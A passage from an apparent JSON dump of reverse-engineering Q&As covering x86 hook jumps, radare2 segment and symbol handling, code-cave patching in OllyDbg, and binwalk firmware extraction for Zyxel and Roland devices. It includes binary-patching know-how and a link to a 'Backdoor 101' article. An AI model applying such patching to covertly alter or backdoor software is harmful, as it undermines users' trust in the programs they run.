preserved somewhere. Overwriting more bytes means you have to copy more of them elsewhere. With relative instructions on the original instruction sequence fixed, for example. You'll need to make sure you do not leave half-instructions after you. </p>\n\n<blockquote>\n  <p>why use a relative jump and not an absolute address?</p>\n</blockquote>\n\n<p><em>Sorry it took a while to get here ;D</em></p>\n\n<p>I think a lot of people overlook or forget that over time, but as carefully reviewing the <a href=\"https://c9x.me/x86/html/file_module_x86_id_147.html\" rel=\"nofollow noreferrer\">jump instruction</a> will reveal, the x86 jump opcodes <em>lacks a <strong>near</strong>, <strong>immediate</strong>, <strong>absolute</strong> jump</em>.</p>\n\n<p>We've got three different types of jumps in x86:</p>\n\n<ol>\n<li><code>E9</code> for <em>near immediate</em> offsets (offsets hard coded directly as an integer inside the instruction itself).</li>\n<li><code>FF /4</code> for <em>near absolute</em> jumps.</li>\n<li>we've got <code>EA</code> for <em>far immediate absolute</em> jumps.</li>\n</ol>\n\n<p>The <strong>far</strong> jump opcode (<code>EA</code>) is slow and mostly used for changing segment registers (which have a completely different use in protected mode), it is therefore rarely used as a <em>normal jump</em> per-se, but as a call-gate, for switching between execution contexts, etc.</p>\n\n<p>The <strong>absolute address</strong> jump opcode (<code>FF /4</code>) <em>does not accept</em> an immediate value. It can only jump to a value stored in a register or stored in memory.Therefore, using it will require you either:</p>\n\n<ol>\n<li>Storing the absolute offset at some reserved memory space, specifically allocated by the hook routine for each hook function for that purpose, or</li>\n<li>Hard-coding an register load instruction, which will set a register to the absolute value. Something like <code>mov eax, &lt;absolute value&gt; / jump eax</code> or <code>push &lt;absolute value&gt; / ret</code>.</li>\n</ol>\n\n<p>Understanding this, it is clear that using the near, immediate, relative jump is far easier than both of these approaches.</p>\n\n<p>So although it is accurate to say using an absolute address will require longer instruction sequence, it does not tell the whole story. </p>\n\n<p>This, then raises another question:</p>\n\n<blockquote>\n  <p>Why, then, isn't there a near, immediate, absolute jump in x86?</p>\n</blockquote>\n\n<p>Simple answer is that there just isn't one. One can speculate about the reasoning behind the instruction set design decisions but adding instructions is expensive and complex. I assume there was no real need for near absolute immediate jump, as it is indeed a rare occasion where you need to jump to an address known ahead of time and a relative jump won't do.</p>\n"
    },
    {
        "Id": "19462",
        "CreationDate": "2018-09-26T18:15:03.647",
        "Body": "<p>I have a simple DOS COM program which I want to analyse using Radare2:</p>\n\n<pre><code>  USE16\n  ORG 100h\n\n  mov ax, cs\n  dec ax\n  mov ds, ax\n\n  mov dx, message+10h\n  mov ah, 9\n  int 21h\n  ret\n\nmessage:   db \"Hello there!$\"\n</code></pre>\n\n<p>(Use <code>yasm</code> or <code>echo \"jMhIjti6HQG0Cc0hw0hlbGxvIHRoZXJlISQ=\" | base64 -d &gt; test.com</code> to compile it to a binary.)</p>\n\n<p>When I load the binary using <code>r2 -b16 test.com</code> radare shows that I'm at <code>0000:0000</code>.</p>\n\n<p>How can I tell radare that the actual program address should be <code>0000:0100</code>?</p>\n\n<p>Also how can I tell radare that the offset loaded into the <code>dx</code> register points to <code>message</code>? In other words, can I tell radare that <code>dx</code> is an offset using a segment that starts at <code>0000:0100 - 0x10</code>?</p>\n",
        "Title": "Working with 16bit offsets and segments in Radare2",
        "Tags": "|radare2|dos|",
        "Answer": "<p>You can use <code>-m 0x100</code> to load the binary at a specific address, as can be seen in <code>r2 -h</code> output:</p>\n\n<blockquote>\n  <p>-m [addr]    map file at given address (loadaddr)</p>\n</blockquote>\n\n<p>So you can do something like this:</p>\n\n<pre><code>$ r2 -m 0x100 -b 16 test.com\n\n[0000:0100]&gt; aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0000:0100]&gt; pdf\n\u256d (fcn) fcn.00000100 13\n\u2502   fcn.00000100 ();\n\u2502           0000:0100      8cc8           mov ax, cs\n\u2502           0000:0102      48             dec ax\n\u2502           0000:0103      8ed8           mov ds, ax\n\u2502           0000:0105      ba1d01         mov dx, 0x11d                ; 285\n\u2502           0000:0108      b409           mov ah, 9\n\u2502           0000:010a      cd21           int 0x21                     ; '!'\n\u2570           0000:010c      c3             ret\n</code></pre>\n\n<p>Regarding your second question, the bytes that interpreted as <code>mov dx, 0x11d</code> are <code>ba1d01</code>. As you can see, 0x01d1 is hard coded so r2 won't add <code>message +</code> to it.</p>\n\n<p>You can create a flag using <code>f str.message 13 @ 0x10d</code> but it would probably not  be helpful in your case.</p>\n"
    },
    {
        "Id": "19474",
        "CreationDate": "2018-09-27T13:58:26.977",
        "Body": "<p>I'm trying to replace a static value:</p>\n\n<pre><code>MOV DWORD PTR SS:[EBP-30],4c\n</code></pre>\n\n<p>With a value from a specific address:</p>\n\n<pre><code>MOV DWORD PTR SS:[EBP-30],400400 // MOV DWORD PTR SS:[EBP-30],OFFSET 400400\n</code></pre>\n\n<p>But <code>SS:[EBP-30]</code> is not being set to the value from <code>0x400400</code>.</p>\n\n<p>I'm new to this but I was thinking this would work:</p>\n\n<pre><code>MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]\n</code></pre>\n\n<p>But I guess it doesn't because <strong>ollydbg</strong> gives an error.</p>\n\n<p>The value from <code>0x400400</code> is <code>int 100</code> or <code>64 00 00 00</code>. Why doesn't it work? And what are my options? </p>\n\n<p>I was also thinking of doing something like:</p>\n\n<pre><code>MOV ECX,DWORD PTR DS:[400400]\nMOV DWORD PTR SS:[EBP-30],ECX\n</code></pre>\n\n<p>But I don't know how to add a new line of instruction in <strong>ollydbg</strong> I was also afraid it would change all the addresses.</p>\n",
        "Title": "replacing static value with variable",
        "Tags": "|disassembly|ollydbg|pointer|",
        "Answer": "<p>Let's split this up a bit. I'll skip over some stuff that you might already understand, but we may need to expand this if some stuff is not clear.</p>\n<hr />\n<blockquote>\n<p>MOV DWORD PTR SS:[EBP-30],400400</p>\n<p>MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]</p>\n</blockquote>\n<p>The syntax is a bit wonky but we can understand that you want to encode a <code>MOV</code> with two memory operands.\nLet's take a look at some documentation</p>\n<p>Ref: <a href=\"https://www.felixcloutier.com/x86/MOV.html\" rel=\"noreferrer\">https://www.felixcloutier.com/x86/MOV.html</a></p>\n<p>There is no possible encoding for <code>MOV</code> that accepts <code>m32,m32</code>. With <code>m32</code> understood to be a 32 bit pointer.</p>\n<p>It's not obvious this is the case, but unfortunately it is.</p>\n<p>Ref: <a href=\"https://stackoverflow.com/a/33799523/10279341\">https://stackoverflow.com/a/33799523/10279341</a></p>\n<p>This is a good answer if you care about <em>why</em>, but it is supplemental reading only, not critical to this situation.</p>\n<hr />\n<p>So, if we want to copy memory to memory with x86:</p>\n<p>Ref: <a href=\"https://stackoverflow.com/a/1299094/10279341\">https://stackoverflow.com/a/1299094/10279341</a></p>\n<p>A commonly accepted solution is to use a register as a temporary value store.</p>\n<p>Take note that we need to save the state of the register we are using else we might accidentally alter the program state.</p>\n<blockquote>\n<p>MOV ECX,DWORD PTR DS:[400400]</p>\n<p>MOV DWORD PTR SS:[EBP-30],ECX</p>\n</blockquote>\n<p>So this is on the right track. But we need to save <code>ECX</code> beforehand in case something else is using it.</p>\n<pre><code>0x00000000: 51                  push ecx\n0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]\n0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx\n0x0000000a: 59                  pop ecx\n</code></pre>\n<p>This should do that you want. We save <code>ECX</code> by pushing it onto the stack. Load the value at address <code>0x400400</code> into <code>ECX</code>. Then write the value of <code>ECX</code> into the memory at <code>[EBP-0x1E]</code>, then restore <code>ECX</code> to it's previous value.</p>\n<hr />\n<p>So how do we patch this into the binary image?</p>\n<p>The above assembly is 11 bytes in length and our goal is to alter the instruction</p>\n<p><code>0:  c7 45 e2 4c 00 00 00    mov    DWORD PTR [ebp-0x1e],0x4c</code></p>\n<p>Which we can see is 7 bytes long.</p>\n<p>We can get these extra 4 bytes by use of a &quot;code cave&quot;. We will redirect execution into an unused bit of memory, execute our code, then jump back.</p>\n<p>Ref: <a href=\"https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves\" rel=\"noreferrer\">https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves</a></p>\n<p>In short, we're looking &quot;empty space&quot; that is allocated/mapped within the exe image, preferably in the .text section, but are not used by the program <em>under any circumstances</em>. This will occur in nearly every executable image due to SectionAlignment in Windows PE being 4096 by default.</p>\n<p>The easiest way to implement this is to find unused bytes in the same region of memory that we are trying to modify.</p>\n<p>A rudimentary way of finding/applying a code cave with ollydbg is shown here:</p>\n<p><a href=\"https://medium.com/@vysec.private/backdoor-101-f318110e1fcb\" rel=\"noreferrer\">https://medium.com/@vysec.private/backdoor-101-f318110e1fcb</a></p>\n<hr />\n<p>After finding suitable memory for our cave, patch in the shellcode:</p>\n<pre><code>0x00000000: 51                  push ecx\n0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]\n0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx\n0x0000000a: 59                  pop ecx\n</code></pre>\n<p>using ollydbg's assembler.</p>\n<p>Then change the original instruction of <code>mov DWORD PTR [ebp-0x1e],0x4c</code> to <code>JMP x</code> where <code>x</code> is your shellcode address, in the same module/image.</p>\n<p>Overwrite the rest of the instruction bytes with 0x90 (NOP) if you want. So that we end up with:</p>\n<p><code>c7 45 e2 4c 00 00 00</code> - Original instruction</p>\n<p><code>e9 xx xx xx xx 90 90</code> - JMP rel32 plus 2 NOPs</p>\n<p>Ref for x86 JMP: <a href=\"https://c9x.me/x86/html/file_module_x86_id_147.html\" rel=\"noreferrer\">https://c9x.me/x86/html/file_module_x86_id_147.html</a></p>\n<p>after <code>pop ecx</code> back in our code cave assemble: <code>JMP y</code></p>\n<p>where <code>y</code> is the address of the instruction directly after <code>mov DWORD PTR [ebp-0x1e],0x4c</code>. You should end up skipping over the NOP instructions when jumping out of the code cave, which is why I said they were optional.</p>\n<hr />\n<p>Summary,</p>\n<ol>\n<li><p>Assemble our shellcode, making note of correct x86 ASM and preserving program state.</p>\n</li>\n<li><p>If not enough space to patch the instruction in-line, idenfity a code cave.</p>\n</li>\n<li><p>Apply the code-cave and assemble the two <code>JMP</code> instructions to redirect execution (1) to the code-cave, (2) back to the <em>next</em> instruction from the original code.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "19488",
        "CreationDate": "2018-09-30T13:39:20.687",
        "Body": "<p>I'm trying to reverse a function and I came across these lines inside the function:</p>\n\n<pre><code>1. call    ds:HeapAlloc\n2. mov     [ebp+var_4], eax\n3. mov     eax, [ebp+var_4]\n</code></pre>\n\n<p>Why is line 3 needed? If I need to save the result, line 2 saved that and EAX already contains the result.</p>\n",
        "Title": "Move twice, from and to the same location",
        "Tags": "|ida|disassembly|",
        "Answer": "<p><strong>It's not needed at all.</strong></p>\n\n<p>However, some compilers may generate that assembly when compiled without optimization.</p>\n\n<p>For example, <code>gcc -O0</code> generates: (<a href=\"https://godbolt.org/z/gpu0Q-\" rel=\"nofollow noreferrer\">from godbolt</a>)</p>\n\n<pre><code>f():\n  push rbp\n  mov rbp, rsp\n  sub rsp, 16\n  call fake_heapalloc()\n  mov DWORD PTR [rbp-4], eax\n  mov eax, DWORD PTR [rbp-4]\n  mov edi, eax\n  call g(int)\n  nop\n  leave\n  ret\n</code></pre>\n\n<p>from C++ source code</p>\n\n<pre><code>int fake_heapalloc();\nvoid g(int i);\nvoid f(){\n    int i;\n    i=fake_heapalloc();\n    g(i);\n}\n</code></pre>\n\n<p>Because it's not optimized, the <code>i</code> is stored on the stack (instead of in a register) and the redundant move to/from stack code is generated.</p>\n\n<hr>\n\n<p>Alternatively, some programmer may manually insert the assembly instruction there to... I don't know, it's unlikely.</p>\n"
    },
    {
        "Id": "19495",
        "CreationDate": "2018-10-01T09:58:36.863",
        "Body": "<p>This is not my expertise so forgive stupidity.\nI have the following <a href=\"https://www.dropbox.com/s/0jv59rc45c72m98/Zyxel-PMG5318-B20C-V1.00%28ABGS.3%29C0.fskernel?dl=0\" rel=\"nofollow noreferrer\">Firmware</a>.</p>\n\n<p>I am trying to extract the file sytem with binwalk, which results in a few extracted files and directories. Specifically I have a directory called jffs2-root/fs_1. When looking at the folder I see three files:</p>\n\n<p>version - Plain Text</p>\n\n<p>version.list - Plain Text</p>\n\n<p>The final file is vmlinux.lz. This appears tio be where the file system should be, however I cannot se how I can read this file.</p>\n\n<p>I have checked the file with the file command and the output I get is:</p>\n\n<p>vmlinux.lz: 8086 relocatable (Microsoft)</p>\n\n<p>I have read that this means it is virtual memory, but I am unsure as to how to proceed. I have tried the vmlinux read on git by Linus, but this fails. Can anyone give me any pointers.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>Here is a hex dump of the file vmlinux.lz\n<a href=\"https://i.stack.imgur.com/zIZG5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zIZG5.png\" alt=\"Hexdump\"></a></p>\n",
        "Title": "RE Zyxel PMG5318-B20C JFFS2 vmlinux.lz",
        "Tags": "|firmware|virtual-memory|",
        "Answer": "<p><code>vmlinuz.lz</code> contains the kernel image.</p>\n\n<pre><code>$ binwalk vmlinux.lz \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n12            0xC             LZMA compressed data, properties: 0x6D, dictionary size: 4194304 bytes, uncompressed size: 5227488 bytes\n</code></pre>\n\n<p>It is compressed, as Igor Skochinsky noted. Conveniently, we can use <code>binwalk</code> to decompress this file via <code>binwalk -e vmlinux.lz</code>.</p>\n\n<p>In the newly created directory, there will be a file called <code>C</code>, named after the offset at which the LZMA signature was found (this is a file naming convention <code>binwalk</code> uses to name decompressed files). We can run a signature scan on file <code>C</code>:</p>\n\n<pre><code>$ binwalk C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3887212       0x3B506C        Linux kernel version \"3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017\"\n3905080       0x3B9638        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)\n4130388       0x3F0654        CRC32 polynomial table, big endian\n4132556       0x3F0ECC        CRC32 polynomial table, big endian\n4491592       0x448948        xz compressed data\n4572996       0x45C744        Unix path: /home/huangyiran/BCM/bcm96838_416L03/bcmdrivers/broadcom/char/bpm/bcm96838/bpm.c\n4576196       0x45D3C4        Unix path: /home/huangyiran/BCM/bcm96838_416L03/shared/opensource/drivers/bcm_misc_hw_init_impl3.c\n4607028       0x464C34        Neighborly text, \"NeighborSolicits6InDatagrams\"\n4607048       0x464C48        Neighborly text, \"NeighborAdvertisementsorts\"\n4610379       0x46594B        Neighborly text, \"neighbor %.2x%.2x.%pM losttime expired for %s -- IGNORING!\"\n4818896       0x4987D0        CRC32 polynomial table, little endian\n</code></pre>\n\n<p>According to this output, this file is a kernel binary. Let's check a few things just to be sure.</p>\n\n<p>Running an entropy scan on file <code>C</code> shows that it likely contains a great deal of object code:</p>\n\n<p><a href=\"https://i.stack.imgur.com/oaj4y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oaj4y.png\" alt=\"Zyxel kernel\"></a></p>\n\n<p>Running a signature scan try to identify the architecture produces over 13,000 hits for MIPS:</p>\n\n<pre><code>$ binwalk -A C | cat -n | tail\n 13075  5219200       0x4FA380        MIPS instructions, function epilogue\n 13076  5219256       0x4FA3B8        MIPS instructions, function epilogue\n 13077  5219564       0x4FA4EC        MIPS instructions, function epilogue\n 13078  5219720       0x4FA588        MIPS instructions, function epilogue\n 13079  5219796       0x4FA5D4        MIPS instructions, function epilogue\n 13080  5220040       0x4FA6C8        MIPS instructions, function epilogue\n 13081  5220296       0x4FA7C8        MIPS instructions, function epilogue\n 13082  5220724       0x4FA974        MIPS instructions, function epilogue\n 13083  5220812       0x4FA9CC        MIPS instructions, function epilogue\n 13084\n</code></pre>\n\n<p>Additional inforation can be attained by running <code>binwalk -e C</code> to extract the <code>gzip</code> compressed data at offset <code>0x3B9638</code> and examine it:</p>\n\n<pre><code># Automatically generated file; DO NOT EDIT.\n# Linux/mips 3.4.11 Kernel Configuration            &lt;---------------\nCONFIG_MIPS=y                                       &lt;--------------- \n# Machine selection\nCONFIG_ZONE_DMA=y\n# CONFIG_MIPS_ALCHEMY is not set\n# CONFIG_AR7 is not set\n# CONFIG_ATH79 is not set\n# CONFIG_BCM47XX is not set\n# CONFIG_BCM63XX is not set\nCONFIG_MIPS_BCM963XX=y                              &lt;-- This looks interesting\n# CONFIG_MIPS_COBALT is not set\n# CONFIG_MACH_DECSTATION is not set\n# CONFIG_MACH_JAZZ is not set\n# CONFIG_MACH_JZ4740 is not set\n.\n.\n&lt;snip&gt;\n</code></pre>\n\n<p>Some of the strings in the kernel binary (file \"C\") are interesting as well:</p>\n\n<pre><code>$ strings -n 9 C | head -25\n\"X`&amp;DXd$B\n&amp;L  P&amp;K X&amp;J `&amp;I h&amp;H \nB* &amp;R* $P\n0!%JUU%)33%\ninitcall_debug\n%s version %s (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) %s\nLinux version 3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017\npause_on_oops\n&lt;2&gt;BUG: recent printk recursion!\nprintk.console_suspend\nprintk.always_kmsg_dump\nprintk.time\nprintk.ignore_loglevel\ndeprecated_sysctl_warning\nprint_dropped_signal\norderly_poweroff\n7select_fallback_rq\nK?xpm_qos_update_request_timeout\nsys_init_module\n3.4.11-rt19 SMP preempt mod_unload MIPS32_R1 32BIT        &lt;---- architecture info\n]\\iIgS1)Y\nspurious.irqfixup\nspurious.noirqdebug\nrcutree.rcu_cpu_stall_timeout\nrcutree.rcu_cpu_stall_suppress\n.\n.\n&lt;snip&gt;\n</code></pre>\n"
    },
    {
        "Id": "19507",
        "CreationDate": "2018-10-02T03:24:29.717",
        "Body": "<p>I created a quick <a href=\"https://github.com/EvanCarroll/nasm_linux_asm/blob/master/nasm_elf/symbol/visibility.asm\" rel=\"nofollow noreferrer\">x86_64 Assembly file with NASM</a> to generate the <a href=\"https://unix.stackexchange.com/q/472660/3285\">four different visibility classes for ELF 64</a>. With <code>readelf --symbols</code> I get the <a href=\"https://gcc.gnu.org/wiki/Visibility\" rel=\"nofollow noreferrer\">Symbol Visibility</a> in the <code>Vis</code> column: <code>DEFAULT</code>, <code>INTERNAL</code>, <code>HIDDEN</code>, <code>PROTECTED</code>.</p>\n\n<pre><code>Symbol table '.symtab' contains 16 entries:\n   Num:    Value          Size Type    Bind   Vis      Ndx Name\n     4: 000000000040007e     0 OBJECT  GLOBAL PROTECTED    1 gdp\n     5: 0000000000400082     0 FUNC    GLOBAL HIDDEN     2 gfh\n     6: 000000000040007a     0 OBJECT  GLOBAL INTERNAL    1 gdi\n     8: 000000000040007c     0 OBJECT  GLOBAL HIDDEN     1 gdh\n     9: 0000000000400083     0 FUNC    GLOBAL PROTECTED    2 gfp\n    11: 0000000000400078     0 OBJECT  GLOBAL DEFAULT    1 gdd\n    14: 0000000000400081     0 FUNC    GLOBAL INTERNAL    2 gfi\n    15: 0000000000400080     0 FUNC    GLOBAL DEFAULT    2 gfd\n</code></pre>\n\n<p>These symbols are encoded such that</p>\n\n<ul>\n<li>First character: <code>g</code> means they're <code>GLOBAL</code> (<a href=\"https://www.nasm.us/doc/nasmdoc7.html\" rel=\"nofollow noreferrer\">NASM</a>) -- they all are.</li>\n<li>Middle character: <code>f</code> means they're \"Function\", <code>d</code> means they're Data</li>\n<li>Last character: <code>d</code>efault, <code>i</code>nternal, <code>h</code>idden, <code>p</code>rotected.</li>\n</ul>\n\n<p>However with radare I can't figure out how to see the visibility that <code>readelf --symbols</code> shows is available. Using <a href=\"https://reverseengineering.stackexchange.com/a/15646/22669\"><code>fs symbols; f</code></a></p>\n\n<pre><code>0x0040007e 0 obj.gdp\n0x00400082 0 sym.gfh\n0x0040007a 0 obj.gdi\n0x0040007c 0 obj.gdh\n0x00400083 0 sym.gfp\n0x00400078 0 obj.gdd\n0x00400081 0 sym.gfi\n0x00400080 0 sym.gfd\n</code></pre>\n\n<p>Clearly, <code>sym</code> is a function and <code>obj</code> is data. But how can I get radare to show me the visibility?</p>\n",
        "Title": "How can you get the symbol visibility with radare?",
        "Tags": "|radare2|elf|symbols|",
        "Answer": "<p>afaik, Symbol Visibility is not available in radare2.\nThe closest to this you can get are the symbol bindings and types. You can do this with the <code>is</code> command which is responsible for showing symbols.</p>\n\n<pre><code>$ r2 /bin/echo\n -- What do you want to debug today?\n[0x00401800]&gt; is\n[Symbols]\n050 0x00007228 0x00607228 GLOBAL    OBJ    8 stdout\n051 0x00007220 0x00607220 GLOBAL    OBJ    8 program_invocation_short_name\n052 0x00007230 0x00607230   WEAK    OBJ    8 __progname_full\n053 0x00007230 0x00607230 GLOBAL    OBJ    8 __progname_full\n054 0x00007220 0x00607220   WEAK    OBJ    8 program_invocation_short_name\n055 0x00007240 0x00607240 GLOBAL    OBJ    8 stderr\n001 0x00001070 0x00401070 GLOBAL   FUNC   16 imp.__uflow\n002 0x00001080 0x00401080 GLOBAL   FUNC   16 imp.getenv\n003 0x00001090 0x00401090 GLOBAL   FUNC   16 imp.free\n...\n026 0x00001200 0x00401200 GLOBAL   FUNC   16 imp.calloc\n027 0x00001210 0x00401210 GLOBAL   FUNC   16 imp.strcmp\n028 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__\n029 0x00001220 0x00401220 GLOBAL   FUNC   16 imp.memcpy\n...\n</code></pre>\n\n<p>You can also print it in a formatted Json format by appending <code>j~{}</code> to the command:</p>\n\n<pre><code>[0x00401800]&gt; isj~{}\n[\n  {\n    \"name\": \"stdout\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.stdout\",\n    \"ordinal\": 50,\n    \"bind\": \"GLOBAL\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320680,\n    \"paddr\": 29224\n  },\n  {\n    \"name\": \"program_invocation_short_name\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.program_invocation_short_name\",\n    \"ordinal\": 51,\n    \"bind\": \"GLOBAL\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320672,\n    \"paddr\": 29216\n  },\n  {\n    \"name\": \"__progname_full\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.__progname_full\",\n    \"ordinal\": 52,\n    \"bind\": \"WEAK\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320688,\n    \"paddr\": 29232\n  },\n</code></pre>\n"
    },
    {
        "Id": "19517",
        "CreationDate": "2018-10-02T21:52:51.227",
        "Body": "<p>I desperately need help figuring out the ic chips in this unit so I can view the firmware in ida pro. </p>\n\n<p>So the unit is a roland gr-55 guitar synthesizer and i'm trying to disassemble the firmware into assembly language, but I have no info on the processor type. I have tried to analyze the firmware, which is a binary file using binwalk but wasn't able to find any info. I've also used the tool cpu_rec to see if it would give me any info and it told me it's a pic10 but I don't thinks that's accurate. I'll post pics below of the gr-55 motherboard, and the firmware , and some other stuff.</p>\n\n<p><a href=\"https://i.stack.imgur.com/21XAj.jpg\" rel=\"nofollow noreferrer\">R05011845 WSP</a> IC</p>\n\n<p><a href=\"https://i.stack.imgur.com/SSmKJ.jpg\" rel=\"nofollow noreferrer\">R8A02021ABG</a>  IC</p>\n\n<p><a href=\"https://i.stack.imgur.com/98xW7.jpg\" rel=\"nofollow noreferrer\">MXIC mx29lv640ebti-70g</a> IC</p>\n\n<p><a href=\"https://i.stack.imgur.com/pjjOD.jpg\" rel=\"nofollow noreferrer\">ESMT m12l128168a-azl1p10jy</a> IC</p>\n\n<p><a href=\"https://www.roland.com/us/support/by_product/gr-55/updates_drivers/f64a41ce-c897-4fd5-94d7-71ec8ff6f036/\" rel=\"nofollow noreferrer\">gr-55 firmware link</a> here's the roland gr-55's firmware</p>\n\n<p><a href=\"https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf\" rel=\"nofollow noreferrer\">gr-55 schematics</a> here's the roland gr-55 schematics</p>\n\n<p>I think the R8A02021ABG could be the main cpu due to these forms <a href=\"http://forum.pianoworld.com/ubbthreads.php/topics/2385759/roland-bk-9-internals.html\" rel=\"nofollow noreferrer\">(similar sythesizer internals)</a>. This person seems to have some of the same ic numbers, and hes saying the R8A02021ABG is the main processor, and that it's a sh3/sh4 7700 series processor. When I go to the link for his units OS website \n<a href=\"https://www.toppers.jp/fi4-kernel.html\" rel=\"nofollow noreferrer\">OS website for bk9</a> it tells me that the processor for that OS is a sh3 (sh 7727). It seems that ida pro does not have an option for a (sh 7727). I read another form from someone who said they also have a (sh 7727) in their unit, this website wont let me post any more links so if you type mpc500 os code in google and click link for mpc-forms.com, it's on the second page second comment down. This person says they don't make a disassembler for the (sh 7727) and reverse engineering it would be impossible     </p>\n\n<p>My main goal is to be able to change some things in the roland gr-55's firmware, like changing some of the names to make things easier to understand so I can make music in peace. Is what i'm trying to do even possible or am I just giving myself a headache for no reason. Sorry if the post is confusing, and for the excessive links. If anybody can give me any info I would appreciate it.  </p>\n",
        "Title": "Need help identifying main processor for Roland synthesizer",
        "Tags": "|ida|disassembly|assembly|decompilation|firmware|",
        "Answer": "<p>The firmware is compressed, so it is no wonder that up to this point attempting to determine the target CPU of the firmware has been so troublesome.</p>\n\n<p><a href=\"https://i.stack.imgur.com/wpHyV.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/wpHyV.png\" alt=\"compressed firmware image\"></a></p>\n\n<p>A signature scan reveals a signature associated with LHA compression:</p>\n\n<pre><code>$ binwalk gr55.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n4             0x4             LHa (2.x) archive data [lh5] [NSRL|LHA2]\n</code></pre>\n\n<p><a href=\"http://manpages.ubuntu.com/manpages/trusty/man1/lhasa.1.html\" rel=\"noreferrer\">lhasa</a> can be used to decompress the file, which produces a file called <code>appli.bin</code>. A signature scan of this file produces the following results:</p>\n\n<pre><code>$ binwalk appli.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2229080       0x220358        Ubiquiti partition header, header size: 56 bytes, name: \"PARTITION#\", base address: 0x00040000, data size: 524288 bytes\n3513280       0x359BC0        Copyright string: \"Copyright\"\n3527064       0x35D198        Broadcom 96345 firmware header, header size: 256, board id: \"   1/8\", ~CRC32 header checksum: 0x43452043, ~CRC32 data checksum: 0x43452042\n3579113       0x369CE9        VxWorks symbol table, big endian, first entry: [type: uninitialized data, code address: 0xE00, symbol address: 0x13C18800]\n7197404       0x6DD2DC        Copyright string: \"Copyright Kobe Steel Ltd.\"\n7252974       0x6EABEE        Copyright string: \"Copyright 2004 TEPCO UQUEST, LTD.\"\n</code></pre>\n\n<p>Be aware that some may be false positives. For example, I believe that Broadcom 96345 firmware typically targets MIPS CPUs in routers. Further investigation is required. An entropy scan of <code>appli.bin</code> reveals that it is not compressed or encrypted:</p>\n\n<p><a href=\"https://i.stack.imgur.com/EhKPe.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/EhKPe.png\" alt=\"uncompressed\"></a></p>\n\n<p>There is quite a bit of string data in this binary, some of it potentially interesting. For example, this bit:</p>\n\n<pre><code>$Id: k_version.c,v 1.3 2010/09/22 13:10:33 shigeno Exp $\n  SHELL for iTRON ver 1.01\n===========================================================\n  Copyright 2004 TEPCO UQUEST, LTD.\n</code></pre>\n\n<p><a href=\"https://www.uquest.co.jp/en/\" rel=\"noreferrer\">Tepco Uquest</a> is a Japanese company that develops middleware for embedded devices.</p>\n\n<p>A search for \"SHELL for iTRON ver 1.01\" results in this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/c71KH.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/c71KH.png\" alt=\"dev presentation\"></a></p>\n\n<p>There is quite a bit of technical information contained in <a href=\"http://www.t-engine.org/wp-content/themes/wp.vicuna/pdf/specifications/en_US/MW_introduction_e_1.01.pdf\" rel=\"noreferrer\">this document</a>; for example on page 71:</p>\n\n<p><a href=\"https://i.stack.imgur.com/7VgeL.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7VgeL.png\" alt=\"doc page 71\"></a></p>\n\n<p>It may contain information relevant to identifying the CPU, as the SH (SuperH) family of CPUs is discussed (<a href=\"https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh/sh7144/sh7144.html\" rel=\"noreferrer\">Renesas SH7145</a>, SH7727).</p>\n\n<p>Radare2 supports the SuperH instruction set. </p>\n\n<p>Other strings include things like this:</p>\n\n<pre><code>St.Piano 3\nSt.Piano 4\nSt.Piano 5\nBrite Piano\nStage Piano\nHonky Tonk\nLoFi Piano\nPiano 1 w\nEuropean Pf\nPiano 2 w\nHonky-tonk\nHonky-tonk w\nPop Piano 1\nPop Piano 2\nPop Piano 3\nPiano 3 w\nStage EP 1\nStage EP 2\nStage EP Trm\nTremolo EP 1\nE.Piano 1\n</code></pre>\n\n<p>Perhaps there is no need for reverse engineering, just patching strings.</p>\n"
    },
    {
        "Id": "19524",
        "CreationDate": "2018-10-03T19:32:07.007",
